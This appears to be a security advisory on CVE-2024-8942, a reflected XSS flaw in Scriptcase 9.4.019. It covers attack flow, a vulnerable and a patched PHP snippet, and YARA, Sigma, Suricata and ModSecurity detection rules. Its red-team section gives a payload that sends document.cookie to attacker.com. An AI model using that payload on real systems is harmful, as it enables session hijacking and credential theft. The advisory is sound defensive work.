CVE-2024-8942

Executive Summary

CVE-2024-8942 is a stored/reflected Cross-Site Scripting (XSS) vulnerability affecting Scriptcase version 9.4.019. The vulnerability stems from insufficient input validation on the id_form_msg_title parameter and potentially other parameters. An attacker can craft a malicious URL containing JavaScript payloads. When a victim clicks the link, the script executes in the victim's browser, allowing the attacker to steal session cookies, credentials, or perform actions on behalf of the victim. The CVSS score is 6.3 (Medium), but the potential for credential theft elevates the risk. No official patch has been released at the time of analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Credential theft is possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Minor impact on service availability.

Threat Level: Medium. While the CVSS score is moderate, the ability to steal credentials makes this a high-priority vulnerability for organizations using Scriptcase.

Deep Dive & Mechanics

The vulnerability is a classic Cross-Site Scripting (XSS) flaw. Scriptcase 9.4.019 fails to properly sanitize user-supplied input before reflecting it in the HTML response. The id_form_msg_title parameter is a primary vector, but the advisory suggests other parameters are also vulnerable.

Attack Flow:

1. Crafting the Payload: The attacker creates a malicious URL containing a JavaScript payload in the id_form_msg_title parameter. For example:

   https://victim-scriptcase-instance.com/some_page.php?id_form_msg_title=<script>alert('XSS')</script>
   

2. Delivery: The attacker sends this URL to the victim via email, social engineering, or by embedding it in a legitimate-looking link.
3. Execution: The victim, authenticated to the Scriptcase application, clicks the link. The browser sends the request to the server.
4. Reflection: The server includes the unsanitized id_form_msg_title value in the HTML response.
5. Payload Firing: The victim's browser parses the HTML and executes the injected JavaScript.
6. Credential Theft: The malicious script can:
   • Steal session cookies (document.cookie).
   • Capture keystrokes (keylogger).
   • Modify the page to phish for credentials.
   • Send stolen data to an attacker-controlled server.

Vulnerable vs. Patched Code

Since no official patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual PHP):

<?php
// Vulnerable: Directly echoes user input without sanitization
$msg_title = $_GET['id_form_msg_title'];
echo "<div class='message-title'>" . $msg_title . "</div>";
?>

Patched Code (Conceptual PHP):

<?php
// Patched: Sanitize output using htmlspecialchars()
$msg_title = $_GET['id_form_msg_title'];
$safe_msg_title = htmlspecialchars($msg_title, ENT_QUOTES, 'UTF-8');
echo "<div class='message-title'>" . $safe_msg_title . "</div>";
?>

The fix involves using htmlspecialchars() (or equivalent) to encode HTML special characters (<, >, ", ', &) before outputting the data. This prevents the browser from interpreting the input as code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running Scriptcase 9.4.019 instance.
• A victim user who is authenticated to the application.
• An attacker-controlled server to receive stolen data (e.g., a webhook or a simple HTTP server).

Step 1: Craft the Malicious URL

The attacker crafts a URL with a payload that steals the victim's session cookie and sends it to the attacker's server.

https://victim-scriptcase.com/index.php?id_form_msg_title=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step 2: Deliver the URL

The attacker sends this URL to the victim via email or a chat message.

Step 3: Victim Clicks the Link

The victim, logged into Scriptcase, clicks the link.

Step 4: Cookie Exfiltration

The victim's browser executes the JavaScript, which sends a request to https://attacker.com/steal?cookie=.... The attacker's server logs the request, capturing the session cookie.

Step 5: Session Hijacking

The attacker uses the stolen cookie to impersonate the victim.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing <script> tags or other suspicious patterns in the id_form_msg_title parameter.
• Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
• Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated, or Content Security Policy).

Defense:

• Immediate: If possible, disable the vulnerable functionality or apply a virtual patch via a WAF.
• Long-term: Apply input validation and output encoding as described in the patched code section.
• User Education: Train users not to click suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to the Scriptcase application with the id_form_msg_title parameter containing encoded or raw JavaScript.
  • Outbound HTTP requests from the Scriptcase server to unknown external IPs/domains (data exfiltration).
  • Unusual Referer headers pointing to the Scriptcase application.

• Host IOCs:

  • Web server logs showing requests with patterns like id_form_msg_title=<script>.
  • Presence of unexpected JavaScript code in the application's HTML source.

• Example Log Entry (Suspicious):

  192.168.1.100 - - [20/Oct/2024:10:15:30 +0000] "GET /index.php?id_form_msg_title=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
  

Detection Engineering

YARA Rule

rule Detect_Scriptcase_XSS_CVE_2024_8942 {
    meta:
        description = "Detects potential XSS attempts targeting Scriptcase CVE-2024-8942"
        author = "Valters IT"
        date = "2024-10-20"
        reference = "CVE-2024-8942"
        severity = "medium"

    strings:
        $xss_pattern_1 = "id_form_msg_title=" nocase
        $xss_pattern_2 = "<script" nocase
        $xss_pattern_3 = "onerror=" nocase
        $xss_pattern_4 = "javascript:" nocase

    condition:
        $xss_pattern_1 and (
            $xss_pattern_2 or
            $xss_pattern_3 or
            $xss_pattern_4
        )
}

Sigma Rule

title: Scriptcase XSS Attempt via id_form_msg_title Parameter
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to Scriptcase applications with XSS payloads in the id_form_msg_title parameter.
author: Valters IT
date: 2024/10/20
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8942
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'id_form_msg_title='
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
        - 'alert('
        - 'document.cookie'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in the parameter (unlikely)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-8942 Scriptcase XSS Attempt";
    flow:to_server,established;
    content:"id_form_msg_title="; nocase; http_uri;
    pcre:"/(<script|onerror=|javascript:|alert\(|document\.cookie)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2024-8942;
)

Remediation & Mitigation

1. Immediate Action (Virtual Patching):

   • Implement a WAF rule to block requests containing <script> or other XSS patterns in the id_form_msg_title parameter.
   • Example ModSecurity rule:

     SecRule ARGS:id_form_msg_title "@rx <script|onerror|javascript:" "id:1000001,phase:2,deny,status:403,msg:'XSS Attempt Blocked'"
     

2. Short-Term Action:

   • Disable the vulnerable functionality if possible.
   • Restrict access to the Scriptcase application to trusted IPs only.

3. Long-Term Action (Code Fix):

   • Apply output encoding to all user-supplied data before rendering it in HTML.
   • Use a Content Security Policy (CSP) header to mitigate the impact of XSS.

     Content-Security-Policy: default-src 'self'; script-src 'self'
     

   • Monitor the vendor's website for an official patch and apply it immediately when available.

4. User Awareness:

   • Train users to recognize and avoid phishing links.

Valters IT